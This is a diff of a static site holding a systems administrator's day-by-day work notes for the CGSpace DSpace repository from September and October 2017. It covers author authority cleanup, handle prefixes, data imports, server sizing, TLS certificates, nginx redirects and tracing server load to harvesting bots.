+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |          0
+ Orth, Alan | 0d575fa3-8ac4-4763-a90a-1248d4791793 |         -1
+ Orth, Alan | 67a9588f-d86a-4155-81a2-af457e9d13f9 |        600
+(8 rows)
+
    +
  • And then after adding a new item and selecting an existing “Orth, Alan” with an ORCID in the author lookup:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Orth, %';
+ text_value |              authority               | confidence 
+------------+--------------------------------------+------------
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |         -1
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |        600
+ Orth, A.   | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |         -1
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |          0
+ Orth, Alan | cb3aa5ae-906f-4902-97b1-2667cf148dde |        600
+ Orth, Alan | 0d575fa3-8ac4-4763-a90a-1248d4791793 |         -1
+ Orth, Alan | 67a9588f-d86a-4155-81a2-af457e9d13f9 |        600
+(9 rows)
+
    +
  • It created a new authority… let’s try to add another item and select the same existing author and see what happens in the database:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Orth, %';
+ text_value |              authority               | confidence 
+------------+--------------------------------------+------------
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |         -1
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |        600
+ Orth, A.   | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |         -1
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |          0
+ Orth, Alan | cb3aa5ae-906f-4902-97b1-2667cf148dde |        600
+ Orth, Alan | 0d575fa3-8ac4-4763-a90a-1248d4791793 |         -1
+ Orth, Alan | 67a9588f-d86a-4155-81a2-af457e9d13f9 |        600
+(9 rows)
+
    +
  • No new one… so now let me try to add another item and select the italicized result from the ORCID lookup and see what happens in the database:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Orth, %';
+ text_value |              authority               | confidence 
+------------+--------------------------------------+------------
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |         -1
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | d85a8a5b-9b82-4aaf-8033-d7e0c7d9cb8f |        600
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |        600
+ Orth, A.   | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |         -1
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |          0
+ Orth, Alan | cb3aa5ae-906f-4902-97b1-2667cf148dde |        600
+ Orth, Alan | 0d575fa3-8ac4-4763-a90a-1248d4791793 |         -1
+ Orth, Alan | 67a9588f-d86a-4155-81a2-af457e9d13f9 |        600
+(10 rows)
+
    +
  • Shit, it created another authority! Let’s try it again!
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Orth, %';                                                                                             
+ text_value |              authority               | confidence
+------------+--------------------------------------+------------
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |         -1
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | d85a8a5b-9b82-4aaf-8033-d7e0c7d9cb8f |        600
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |        600
+ Orth, Alan | 9aed566a-a248-4878-9577-0caedada43db |        600
+ Orth, A.   | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |         -1
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |          0
+ Orth, Alan | cb3aa5ae-906f-4902-97b1-2667cf148dde |        600
+ Orth, Alan | 0d575fa3-8ac4-4763-a90a-1248d4791793 |         -1
+ Orth, Alan | 67a9588f-d86a-4155-81a2-af457e9d13f9 |        600
+(11 rows)
+
    +
  • It added another authority… surely this is not the desired behavior, or maybe we are not using this as intented?
    • +
+

2017-09-14

+
    +
  • Communicate with Handle.net admins to try to get some guidance about the 10947 prefix
    • +
  • Michael Marus is the contact for their prefix but he has left CGIAR, but as I actually have access to the CGIAR Library server I think I can just generate a new sitebndl.zip file from their server and send it to Handle.net
    • +
  • Also, Handle.net says their prefix is up for annual renewal next month so we might want to just pay for it and take it over
    • +
  • CGSpace was very slow and Uptime Robot even said it was down at one time
    • +
  • I didn’t see any abnormally high usage in the REST or OAI logs, but looking at Munin I see the average JVM usage was at 4.9GB and the heap is only 5GB (5120M), so I think it’s just normal growing pains
    • +
  • Every few months I generally try to increase the JVM heap to be 512M higher than the average usage reported by Munin, so now I adjusted it to 5632M
    • +
+

2017-09-15

+
    +
  • Apply CCAFS project tag corrections on CGSpace:
    • +
+
dspace=# \i /tmp/ccafs-projects.sql 
+DELETE 5
+UPDATE 4
+UPDATE 1
+DELETE 1
+DELETE 207
+

2017-09-17

+
    +
  • Create pull request for CGSpace to be able to resolve multiple handles (#339)
    • +
  • We still need to do the changes to config.dct and regenerate the sitebndl.zip to send to the Handle.net admins
    • +
  • According to this dspace-tech mailing list entry from 2011, we need to add the extra handle prefixes to config.dct like this:
    • +
+
"server_admins" = (
+"300:0.NA/10568"
+"300:0.NA/10947"
+)
+
+"replication_admins" = (
+"300:0.NA/10568"
+"300:0.NA/10947"
+)
+
+"backup_admins" = (
+"300:0.NA/10568"
+"300:0.NA/10947"
+)
+
    +
  • More work on the CGIAR Library migration test run locally, as I was having problem with importing the last fourteen items from the CGIAR System Management Office community
    • +
  • The problem was that we remapped the items to new collections after the initial import, so the items were using the 10947 prefix but the community and collection was using 10568
    • +
  • I ended up having to read the AIP Backup and Restore closely a few times and then explicitly preserve handles and ignore parents:
    • +
+
$ for item in 10568-93759/ITEM@10947-46*; do ~/dspace/bin/dspace packager -r -t AIP -o ignoreHandle=false -o ignoreParent=true -e aorth@mjanja.ch -p 10568/87738 $item; done
+
    +
  • Also, this was in replace mode (-r) rather than submit mode (-s), because submit mode always generated a new handle even if I told it not to!
    • +
  • I decided to start the import process in the evening rather than waiting for the morning, and right as the first community was finished importing I started seeing Timeout waiting for idle object errors
    • +
  • I had to cancel the import, clean up a bunch of database entries, increase the PostgreSQL max_connections as a precaution, restart PostgreSQL and Tomcat, and then finally completed the import
    • +
+

2017-09-18

+
    +
  • I think we should force regeneration of all thumbnails in the CGIAR Library community, as their DSpace is version 1.7 and CGSpace is running DSpace 5.5 so they should look much better
    • +
  • One item for comparison:
    • +
+

With original DSpace 1.7 thumbnail

+

After DSpace 5.5

+
    +
  • Moved the CGIAR Library Migration notes to a page — cgiar-library-migration — as there seems to be a bug with post slugs defined in frontmatter when you have a permalink scheme defined in config.toml (happens currently in Hugo 0.27.1 at least)
    • +
+

2017-09-19

+
    +
  • Nightly Solr indexing is working again, and it appears to be pretty quick actually:
    • +
+
2017-09-19 00:00:14,953 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (0 of 65808): 17607
+...
+2017-09-19 00:04:18,017 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (65807 of 65808): 83753
+
+

2017-09-20

+
    +
  • Abenet and I noticed that hdl.handle.net is blocked by ETC at ILRI Addis so I asked Biruk Debebe to route it over the satellite
    • +
  • Force thumbnail regeneration for the CGIAR System Organization’s Historic Archive community (2000 items):
    • +
+
$ schedtool -D -e ionice -c2 -n7 nice -n19 dspace filter-media -f -i 10947/1 -p "ImageMagick PDF Thumbnail"
+
    +
  • I’m still waiting (over 1 day later) to hear back from the CGIAR System Organization about updating the DNS for library.cgiar.org
    • +
+

2017-09-21

+
    +
  • Switch to OpenJDK 8 from Oracle JDK on DSpace Test
    • +
  • I want to test this for awhile to see if we can start using it instead
    • +
  • I need to look at the JVM graphs in Munin, test the Atmire modules, build the source, etc to get some impressions
    • +
+

2017-09-22

+ +

2017-09-24

+
    +
  • Start investigating other platforms for CGSpace due to linear instance pricing on Linode
    • +
  • We need to figure out how much memory is used by applications, caches, etc, and how much disk space the asset store needs
    • +
  • First, here’s the last week of memory usage on CGSpace and DSpace Test:
    • +
+

CGSpace memory week +DSpace Test memory week

+
    +
  • 8GB of RAM seems to be good for DSpace Test for now, with Tomcat’s JVM heap taking 3GB, caches and buffers taking 3–4GB, and then ~1GB unused
    • +
  • 24GB of RAM is way too much for CGSpace, with Tomcat’s JVM heap taking 5.5GB and caches and buffers happily using 14GB or so
    • +
  • As far as disk space, the CGSpace assetstore currently uses 51GB and Solr cores use 86GB (mostly in the statistics core)
    • +
  • DSpace Test currently doesn’t even have enough space to store a full copy of CGSpace, as its Linode instance only has 96GB of disk space
    • +
  • I’ve heard Google Cloud is nice (cheap and performant) but it’s definitely more complicated than Linode and instances aren’t that much cheaper to make it worth it
    • +
  • Here are some theoretical instances on Google Cloud: +
      +
    • DSpace Test, n1-standard-2 with 2 vCPUs, 7.5GB RAM, 300GB persistent SSD: $99/month
      • +
    • CGSpace, n1-standard-4 with 4 vCPUs, 15GB RAM, 300GB persistent SSD: $148/month
      • +
    +
    • +
  • Looking at Linode’s instance pricing, for DSpace Test it seems we could use the same 8GB instance for $40/month, and then add block storage of ~300GB for $30 (block storage is currently in beta and priced at $0.10/GiB)
    • +
  • For CGSpace we could use the cheaper 12GB instance for $80 and then add block storage of 500GB for $50
    • +
  • I’ve sent Peter a message about moving DSpace Test to the New Jersey data center so we can test the block storage beta
    • +
  • Create pull request for adding ISI Journal to search filters (#341)
    • +
  • Peter asked if we could map all the items of type Journal Article in ILRI Archive to ILRI articles in journals and newsletters
    • +
  • It is easy to do via CSV using OpenRefine but I noticed that on CGSpace ~1,000 of the expected 2,500 are already mapped, while on DSpace Test they were not
    • +
  • I’ve asked Peter if he knows what’s going on (or who mapped them)
    • +
  • Turns out he had already mapped some, but requested that I finish the rest
    • +
  • With this GREL in OpenRefine I can find items that are mapped, ie they have 10568/3|| or 10568/3$ in their collection field:
    • +
+
isNotNull(value.match(/.+?10568\/3(\|\|.+|$)/))
+
    +
  • Peter also made a lot of changes to the data in the Archives collections while I was attempting to import the changes, so we were essentially competing for PostgreSQL and Solr connections
    • +
  • I ended up having to kill the import and wait until he was done
    • +
  • I exported a clean CSV and applied the changes from that one, which was a hundred or two less than I thought there should be (at least compared to the current state of DSpace Test, which is a few months old)
    • +
+

2017-09-25

+
    +
  • Email Rosemary Kande from ICT to ask about the administrative / finance procedure for moving DSpace Test from EU to US region on Linode
    • +
  • Communicate (finally) with Tania and Tunji from the CGIAR System Organization office to tell them to request CGNET make the DNS updates for library.cgiar.org
    • +
  • Peter wants me to clean up the text values for Delia Grace’s metadata, as the authorities are all messed up again since we cleaned them up in 2016-12:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like 'Grace, D%';                                  
+  text_value  |              authority               | confidence              
+--------------+--------------------------------------+------------             
+ Grace, Delia |                                      |        600              
+ Grace, Delia | bfa61d7c-7583-4175-991c-2e7315000f0c |        600              
+ Grace, Delia | bfa61d7c-7583-4175-991c-2e7315000f0c |         -1              
+ Grace, D.    | 6a8ddca3-33c1-45f9-aa00-6fa9fc91e3fc |         -1
+
    +
  • Strangely, none of her authority entries have ORCIDs anymore…
    • +
  • I’ll just fix the text values and forget about it for now:
    • +
+
dspace=# update metadatavalue set text_value='Grace, Delia', authority='bfa61d7c-7583-4175-991c-2e7315000f0c', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Grace, D%';
+UPDATE 610
+
    +
  • After this we have to reindex the Discovery and Authority cores (as tomcat7 user):
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b
+
+real    83m56.895s
+user    13m16.320s
+sys     2m17.917s
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-authority -b
+Retrieving all data
+Initialize org.dspace.authority.indexer.DSpaceAuthorityIndexer
+Exception: null
+java.lang.NullPointerException
+        at org.dspace.authority.AuthorityValueGenerator.generateRaw(AuthorityValueGenerator.java:82)
+        at org.dspace.authority.AuthorityValueGenerator.generate(AuthorityValueGenerator.java:39)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.prepareNextValue(DSpaceAuthorityIndexer.java:201)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:132)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:159)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.AuthorityIndexClient.main(AuthorityIndexClient.java:61)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+
+real    6m6.447s
+user    1m34.010s
+sys     0m12.113s
+
    +
  • The index-authority script always seems to fail, I think it’s the same old bug
    • +
  • Something interesting for my notes about JNDI database pool—since I couldn’t determine if it was working or not when I tried it locally the other day—is this error message that I just saw in the DSpace logs today:
    • +
+
ERROR org.dspace.storage.rdbms.DatabaseManager @ Error retrieving JNDI context: jdbc/dspaceLocal
+...
+INFO  org.dspace.storage.rdbms.DatabaseManager @ Unable to locate JNDI dataSource: jdbc/dspaceLocal
+INFO  org.dspace.storage.rdbms.DatabaseManager @ Falling back to creating own Database pool
+
    +
  • So it’s good to know that something gets printed when it fails because I didn’t see any mention of JNDI before when I was testing!
    • +
+

2017-09-26

+
    +
  • Adam Hunt from WLE finally registered so I added him to the editor and approver groups
    • +
  • Then I noticed that Sisay never removed Marianne’s user accounts from the approver steps in the workflow because she is already in the WLE groups, which are in those steps
    • +
  • For what it’s worth, I had asked him to remove them on 2017-09-14
    • +
  • I also went and added the WLE approvers and editors groups to the appropriate steps of all the Phase I and Phase II research theme collections
    • +
  • A lot of CIAT’s items have manually generated thumbnails which have an incorrect aspect ratio and an ugly black border
    • +
  • I communicated with Elizabeth from CIAT to tell her she should use DSpace’s automatically generated thumbnails
    • +
  • Start discussiong with ICT about Linode server update for DSpace Test
    • +
  • Rosemary said I need to work with Robert Okal to destroy/create the server, and then let her and Lilian Masigah from finance know the updated Linode asset names for their records
    • +
+

2017-09-28

+
    +
  • Tunji from the System Organization finally sent the DNS request for library.cgiar.org to CGNET
    • +
  • Now the redirects work
    • +
  • I quickly registered a Let’s Encrypt certificate for the domain:
    • +
+
# systemctl stop nginx
+# /opt/certbot-auto certonly --standalone --email aorth@mjanja.ch -d library.cgiar.org
+# systemctl start nginx
+
    +
  • I modified the nginx configuration of the ansible playbooks to use this new certificate and now the certificate is enabled and OCSP stapling is working:
    • +
+
$ openssl s_client -connect cgspace.cgiar.org:443 -servername library.cgiar.org  -tls1_2 -tlsextdebug -status
+...
+OCSP Response Data:
+...
+Cert Status: good
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-10/index.html b/docs/2017-10/index.html new file mode 100644 index 000000000..9bbea6cb5 --- /dev/null +++ b/docs/2017-10/index.html @@ -0,0 +1,497 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2017

+

+ + in + Notes + + +

+
+

2017-10-01

+ +
http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336
+
    +
  • There appears to be a pattern but I’ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine
    • +
  • Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections
    • +
+

2017-10-02

+
    +
  • Peter Ballantyne said he was having problems logging into CGSpace with “both” of his accounts (CGIAR LDAP and personal, apparently)
    • +
  • I looked in the logs and saw some LDAP lookup failures due to timeout but also strangely a “no DN found” error:
    • +
+
2017-10-01 20:24:57,928 WARN  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=CA0AA5FEAEA8805645489404CDCE9594:ip_addr=41.204.190.40:ldap_attribute_lookup:type=failed_search javax.naming.CommunicationException\colon; svcgroot2.cgiarad.org\colon;3269 [Root exception is java.net.ConnectException\colon; Connection timed out (Connection timed out)]
+2017-10-01 20:22:37,982 INFO  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=CA0AA5FEAEA8805645489404CDCE9594:ip_addr=41.204.190.40:failed_login:no DN found for user pballantyne
+
    +
  • I thought maybe his account had expired (seeing as it’s was the first of the month) but he says he was finally able to log in today
    • +
  • The logs for yesterday show fourteen errors related to LDAP auth failures:
    • +
+
$ grep -c "ldap_authentication:type=failed_auth" dspace.log.2017-10-01
+14
+
    +
  • For what it’s worth, there are no errors on any other recent days, so it must have been some network issue on Linode or CGNET’s LDAP server
    • +
  • Linode emailed to say that linode578611 (DSpace Test) needs to migrate to a new host for a security update so I initiated the migration immediately rather than waiting for the scheduled time in two weeks
    • +
+

2017-10-04

+
    +
  • Twice in the last twenty-four hours Linode has alerted about high CPU usage on CGSpace (linode2533629)
    • +
  • Communicate with Sam from the CGIAR System Organization about some broken links coming from their CGIAR Library domain to CGSpace
    • +
  • The first is a link to a browse page that should be handled better in nginx:
    • +
+
http://library.cgiar.org/browse?value=Intellectual%20Assets%20Reports&type=subject → https://cgspace.cgiar.org/browse?value=Intellectual%20Assets%20Reports&type=subject
+
    +
  • We’ll need to check for browse links and handle them properly, including swapping the subject parameter for systemsubject (which doesn’t exist in Discovery yet, but we’ll need to add it) as we have moved their poorly curated subjects from dc.subject to cg.subject.system
    • +
  • The second link was a direct link to a bitstream which has broken due to the sequence being updated, so I told him he should link to the handle of the item instead
    • +
  • Help Sisay proof sixty-two IITA records on DSpace Test
    • +
  • Lots of inconsistencies and errors in subjects, dc.format.extent, regions, countries
    • +
  • Merge the Discovery search changes for ISI Journal (#341)
    • +
+

2017-10-05

+
    +
  • Twice in the past twenty-four hours Linode has warned that CGSpace’s outbound traffic rate was exceeding the notification threshold
    • +
  • I had a look at yesterday’s OAI and REST logs in /var/log/nginx but didn’t see anything unusual:
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log.1 | sort -n | uniq -c | sort -h | tail -n 10
+    141 157.55.39.240
+    145 40.77.167.85
+    162 66.249.66.92
+    181 66.249.66.95
+    211 66.249.66.91
+    312 66.249.66.94
+    384 66.249.66.90
+   1495 50.116.102.77
+   3904 70.32.83.92
+   9904 45.5.184.196
+# awk '{print $1}' /var/log/nginx/oai.log.1 | sort -n | uniq -c | sort -h | tail -n 10
+      5 66.249.66.71
+      6 66.249.66.67
+      6 68.180.229.31
+      8 41.84.227.85
+      8 66.249.66.92
+     17 66.249.66.65
+     24 66.249.66.91
+     38 66.249.66.95
+     69 66.249.66.90
+    148 66.249.66.94
+
    +
  • Working on the nginx redirects for CGIAR Library
    • +
  • We should start using 301 redirects and also allow for /sitemap to work on the library.cgiar.org domain so the CGIAR System Organization people can update their Google Search Console and allow Google to find their content in a structured way
    • +
  • Remove eleven occurrences of ACP in IITA’s cg.coverage.region using the Atmire batch edit module from Discovery
    • +
  • Need to investigate how we can verify the library.cgiar.org using the HTML or DNS methods
    • +
  • Run corrections on 143 ILRI Archive items that had two dc.identifier.uri values (Handle) that Peter had pointed out earlier this week
    • +
  • I used OpenRefine to isolate them and then fixed and re-imported them into CGSpace
    • +
  • I manually checked a dozen of them and it appeared that the correct handle was always the second one, so I just deleted the first one
    • +
+

2017-10-06

+ +

Original flat thumbnails +Tweaked with border and box shadow

+
    +
  • I’ll post it to the Yammer group to see what people think
    • +
  • I figured out at way to do the HTML verification for Google Search console for library.cgiar.org
    • +
  • We can drop the HTML file in their XMLUI theme folder and it will get copied to the webapps directory during build/install
    • +
  • Then we add an nginx alias for that URL in the library.cgiar.org vhost
    • +
  • This method is kinda a hack but at least we can put all the pieces into git to be reproducible
    • +
  • I will tell Tunji to send me the verification file
    • +
+

2017-10-10

+
    +
  • Deploy logic to allow verification of the library.cgiar.org domain in the Google Search Console (#343)
    • +
  • After verifying both the HTTP and HTTPS domains and submitting a sitemap it will be interesting to see how the stats in the console as well as the search results change (currently 28,500 results):
    • +
+

Google Search Console +Google Search Console 2 +Google Search results

+
    +
  • I tried to submit a “Change of Address” request in the Google Search Console but I need to be an owner on CGSpace’s console (currently I’m just a user) in order to do that
    • +
  • Manually clean up some communities and collections that Peter had requested a few weeks ago
    • +
  • Delete Community 10568/102 (ILRI Research and Development Issues)
    • +
  • Move five collections to 10568/27629 (ILRI Projects) using move-collections.sh with the following configuration:
    • +
+
10568/1637 10568/174 10568/27629
+10568/1642 10568/174 10568/27629
+10568/1614 10568/174 10568/27629
+10568/75561 10568/150 10568/27629
+10568/183 10568/230 10568/27629
+
    +
  • Delete community 10568/174 (Sustainable livestock futures)
    • +
  • Delete collections in 10568/27629 that have zero items (33 of them!)
    • +
+

2017-10-11

+
    +
  • Peter added me as an owner on the CGSpace property on Google Search Console and I tried to submit a “Change of Address” request for the CGIAR Library but got an error:
    • +
+

Change of Address error

+
    +
  • We are sending top-level CGIAR Library traffic to their specific community hierarchy in CGSpace so this type of change of address won’t work—we’ll just need to wait for Google to slowly index everything and take note of the HTTP 301 redirects
    • +
  • Also the Google Search Console doesn’t work very well with Google Analytics being blocked, so I had to turn off my ad blocker to get the “Change of Address” tool to work!
    • +
+

2017-10-12

+
    +
  • Finally finish (I think) working on the myriad nginx redirects for all the CGIAR Library browse stuff—it ended up getting pretty complicated!
    • +
  • I still need to commit the DSpace changes (add browse index, XMLUI strings, Discovery index, etc), but I should be able to deploy that on CGSpace soon
    • +
+

2017-10-14

+
    +
  • Run system updates on DSpace Test and reboot server
    • +
  • Merge changes adding a search/browse index for CGIAR System subject to 5_x-prod (#344)
    • +
  • I checked the top browse links in Google’s search results for site:library.cgiar.org inurl:browse and they are all redirected appropriately by the nginx rewrites I worked on last week
    • +
+

2017-10-22

+
    +
  • Run system updates on DSpace Test and reboot server
    • +
  • Re-deploy CGSpace from latest 5_x-prod (adds ISI Journal to search filters and adds Discovery index for CGIAR Library systemsubject)
    • +
  • Deploy nginx redirect fixes to catch CGIAR Library browse links (redirect to their community and translate subject→systemsubject)
    • +
  • Run migration of CGSpace server (linode18) for Linode security alert, which took 42 minutes of downtime
    • +
+

2017-10-26

+
    +
  • In the last 24 hours we’ve gotten a few alerts from Linode that there was high CPU and outgoing traffic on CGSpace
    • +
  • Uptime Robot even noticed CGSpace go “down” for a few minutes
    • +
  • In other news, I was trying to look at a question about stats raised by Magdalena and then CGSpace went down due to SQL connection pool
    • +
  • Looking at the PostgreSQL activity I see there are 93 connections, but after a minute or two they went down and CGSpace came back up
    • +
  • Annnd I reloaded the Atmire Usage Stats module and the connections shot back up and CGSpace went down again
    • +
  • Still not sure where the load is coming from right now, but it’s clear why there were so many alerts yesterday on the 25th!
    • +
+
# grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2017-10-25 | sort -n | uniq | wc -l
+18022
+
    +
  • Compared to other days there were two or three times the number of requests yesterday!
    • +
+
# grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2017-10-23 | sort -n | uniq | wc -l
+3141
+# grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2017-10-26 | sort -n | uniq | wc -l
+7851
+
    +
  • I still have no idea what was causing the load to go up today
    • +
  • I finally investigated Magdalena’s issue with the item download stats and now I can’t reproduce it: I get the same number of downloads reported in the stats widget on the item page, the “Most Popular Items” page, and in Usage Stats
    • +
  • I think it might have been an issue with the statistics not being fresh
    • +
  • I added the admin group for the systems organization to the admin role of the top-level community of CGSpace because I guess Sisay had forgotten
    • +
  • Magdalena asked if there was a way to reuse data in item submissions where items have a lot of similar data
    • +
  • I told her about the possibility to use per-collection item templates, and asked if her items in question were all from a single collection
    • +
  • We’ve never used it but it could be worth looking at
    • +
+

2017-10-27

+
    +
  • Linode alerted about high CPU usage again (twice) on CGSpace in the last 24 hours, around 2AM and 2PM
    • +
+

2017-10-28

+
    +
  • Linode alerted about high CPU usage again on CGSpace around 2AM this morning
    • +
+

2017-10-29

+
    +
  • Linode alerted about high CPU usage again on CGSpace around 2AM and 4AM
    • +
  • I’m still not sure why this started causing alerts so repeatadely the past week
    • +
  • I don’t see any tell tale signs in the REST or OAI logs, so trying to do rudimentary analysis in DSpace logs:
    • +
+
# grep '2017-10-29 02:' dspace.log.2017-10-29 | grep -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+2049
+
    +
  • So there were 2049 unique sessions during the hour of 2AM
    • +
  • Looking at my notes, the number of unique sessions was about the same during the same hour on other days when there were no alerts
    • +
  • I think I’ll need to enable access logging in nginx to figure out what’s going on
    • +
  • After enabling logging on requests to XMLUI on / I see some new bot I’ve never seen before:
    • +
+
137.108.70.6 - - [29/Oct/2017:07:39:49 +0000] "GET /discover?filtertype_0=type&filter_relational_operator_0=equals&filter_0=Internal+Document&filtertype=author&filter_relational_operator=equals&filter=CGIAR+Secretariat HTTP/1.1" 200 7776 "-" "Mozilla/5.0 (compatible; CORE/0.6; +http://core.ac.uk; http://core.ac.uk/intro/contact)"
+
    +
  • CORE seems to be some bot that is “Aggregating the world’s open access research papers”
    • +
  • The contact address listed in their bot’s user agent is incorrect, correct page is simply: https://core.ac.uk/contact
    • +
  • I will check the logs in a few days to see if they are harvesting us regularly, then add their bot’s user agent to the Tomcat Crawler Session Valve
    • +
  • After browsing the CORE site it seems that the CGIAR Library is somehow a member of CORE, so they have probably only been harvesting CGSpace since we did the migration, as library.cgiar.org directs to us now
    • +
  • For now I will just contact them to have them update their contact info in the bot’s user agent, but eventually I think I’ll tell them to swap out the CGIAR Library entry for CGSpace
    • +
+

2017-10-30

+
    +
  • Like clock work, Linode alerted about high CPU usage on CGSpace again this morning (this time at 8:13 AM)
    • +
  • Uptime Robot noticed that CGSpace went down around 10:15 AM, and I saw that there were 93 PostgreSQL connections:
    • +
+
dspace=# SELECT * FROM pg_stat_activity;
+...
+(93 rows)
+
    +
  • Surprise surprise, the CORE bot is likely responsible for the recent load issues, making hundreds of thousands of requests yesterday and today:
    • +
+
# grep -c "CORE/0.6" /var/log/nginx/access.log 
+26475
+# grep -c "CORE/0.6" /var/log/nginx/access.log.1
+135083
+
    +
  • IP addresses for this bot currently seem to be:
    • +
+
# grep "CORE/0.6" /var/log/nginx/access.log | awk '{print $1}' | sort -n | uniq
+137.108.70.6
+137.108.70.7
+
    +
  • I will add their user agent to the Tomcat Session Crawler Valve but it won’t help much because they are only using two sessions:
    • +
+
# grep 137.108.70 dspace.log.2017-10-30 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq
+session_id=5771742CABA3D0780860B8DA81E0551B
+session_id=6C30F10B4351A4ED83EC6ED50AFD6B6A
+
    +
  • … and most of their requests are for dynamic discover pages:
    • +
+
# grep -c 137.108.70 /var/log/nginx/access.log
+26622
+# grep 137.108.70 /var/log/nginx/access.log | grep -c "GET /discover"
+24055
+
    +
  • Just because I’m curious who the top IPs are:
    • +
+
# awk '{print $1}' /var/log/nginx/access.log | sort -n | uniq -c | sort -h | tail
+    496 62.210.247.93
+    571 46.4.94.226
+    651 40.77.167.39
+    763 157.55.39.231
+    782 207.46.13.90
+    998 66.249.66.90
+   1948 104.196.152.243
+   4247 190.19.92.5
+  31602 137.108.70.6
+  31636 137.108.70.7
+
    +
  • At least we know the top two are CORE, but who are the others?
    • +
  • 190.19.92.5 is apparently in Argentina, and 104.196.152.243 is from Google Cloud Engine
    • +
  • Actually, these two scrapers might be more responsible for the heavy load than the CORE bot, because they don’t reuse their session variable, creating thousands of new sessions!
    • +
+
# grep 190.19.92.5 dspace.log.2017-10-30 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+1419
+# grep 104.196.152.243 dspace.log.2017-10-30 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+2811
+
    +
  • From looking at the requests, it appears these are from CIAT and CCAFS
    • +
  • I wonder if I could somehow instruct them to use a user agent so that we could apply a crawler session manager valve to them
    • +
